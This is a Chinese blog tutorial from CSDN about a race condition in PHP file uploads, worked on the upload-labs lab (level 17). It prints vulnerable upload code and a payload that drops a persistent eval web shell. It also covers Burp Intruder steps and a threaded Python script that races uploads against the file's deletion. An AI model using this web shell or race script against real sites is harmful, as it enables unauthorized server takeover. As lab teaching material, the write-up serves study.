PHP文件上传之条件竞争(其一)

文章详细解释了条件竞争的概念,特别是在文件上传场景中,如何利用时间窗口在文件被删除前访问它。通过PHP代码示例展示了检查与删除过程,讨论了如何构建payload并利用burpsuite和Python脚本进行并发测试,以尝试在文件被unlink()函数删除前创建持久性的shell.php文件。
摘要由CSDN通过智能技术生成

目录

一、什么是条件竞争

二、场景代码分析

本文用于实验的PHP代码如下:

 知识点补充:

代码分析:

三、条件竞争步骤

1、竞争payload:

2、竞争方法:

1、burpsuite:

2、python脚本:


一、什么是条件竞争

  在某些文件上传情境中,后端代码会先保存我们所上传的文件,然后再检查我们上传的文件是否含有风险,如果有的话会被删除,这是我们就需要和删除函数(如unlink()函数)来进行时间与线程上的竞争,争取在删除文件之前访问到该文件,达到攻击效果

二、场景代码分析

本文用于实验的PHP代码如下:

<?php
header("Content-Type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];  //获取上传文件的全名
$ext = substr($filename,strrpos($filename,'.') + 1); //从点号之后的一个字符开始截取,也就是说获取文件后缀

$path = 'uploads/' . $filename;  //上传文件的路径及文件名
$tmp = $_FILES['file']['tmp_name'];   //上传文件在系统中的临时名
if(move_uploaded_file($tmp, $path))  //上传文件到指定路径
{
	if(!preg_match('/php/i', $ext))       //判断后缀是否为php
    {       
		echo 'upload success,file in '.$path;   //不是这返回上传成功
	}
    else
    {
		unlink($path);                    //若是PHP则删除
		die("can't upload php file!");
	}

	}
else
{
    die('upload error');
}

 知识点补充:

$_FILES全局变量数组内容如下:
$_FILES['myFile']['name'] 客户端文件的原名称。
$_FILES['myFile']['type'] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"。
$_FILES['myFile']['size'] 已上传文件的大小,单位为字节。
$_FILES['myFile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,但 用 putenv() 函数设置是不起作用的。
$_FILES['myFile']['error'] 和该文件上传相关的错误代码。['error'] 是在 PHP 4.2.0 版本中增加的。下面是它的说明:(它们在PHP3.0以后成了常量)

代码分析:

该代码首先会通过 move_uploaded_file 函数将上传的文件移动到指定目录,然通过preg_match('/php/i', $ext) 这段不分大小写的正则检验上传文件的后缀是否为php,如果是的话则利用unlink函数删除该文件,我们需要在unlink函数执行之前,访问到所上传的文件

三、条件竞争步骤

1、竞争payload:

由于我们可以打开上传文件的时间很短,所以想通过上传的文件直接连接shell是不可能的,但我们可以令上传文件内容如下

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);  ?>' ); ?>

该文件只要被访问到,即会马上创建一个shell.php文件,即使该文件被unlink函数删除后,其所创建的shell.php文件仍存在,我们可通过shell.php拿下站点

2、竞争方法:

这里以upload-labs 第17关为例

1、burpsuite:

这里我们上传文件抓包得到

 然后将上传文件的数据包发送到 intruder模块

 然后clear掉所有预选项

 在payload模块中,设置为空payload模式,次数设置为两千,也就是说不停地上传2000次该文件,最后start attack

最后在浏览器不停地访问

http://localhost/upload-labs/upload/szm.php

访问成功,即shell访问成功

2、python脚本:

# coding:utf-8
import requests
from concurrent.futures import ThreadPoolExecutor


def td(list):
    url = 'http://localhost/upload-labs/Pass-17/index.php'
    files = {'upload_file': (
        'szm.php', "<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);  ?>' ); ?>")}
    data = {'submit': '上传'}
    r = requests.post(url=url, data=data, files=files)
    re = requests.get('http://localhost/upload-labs/upload/szm.php')
    if re.status_code == 200:
        print('上传成功')


if __name__ == '__main__':
    with ThreadPoolExecutor(20) as p:
        p.map(td, range(200))

  • 10
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 5
    评论
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Elitewa

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值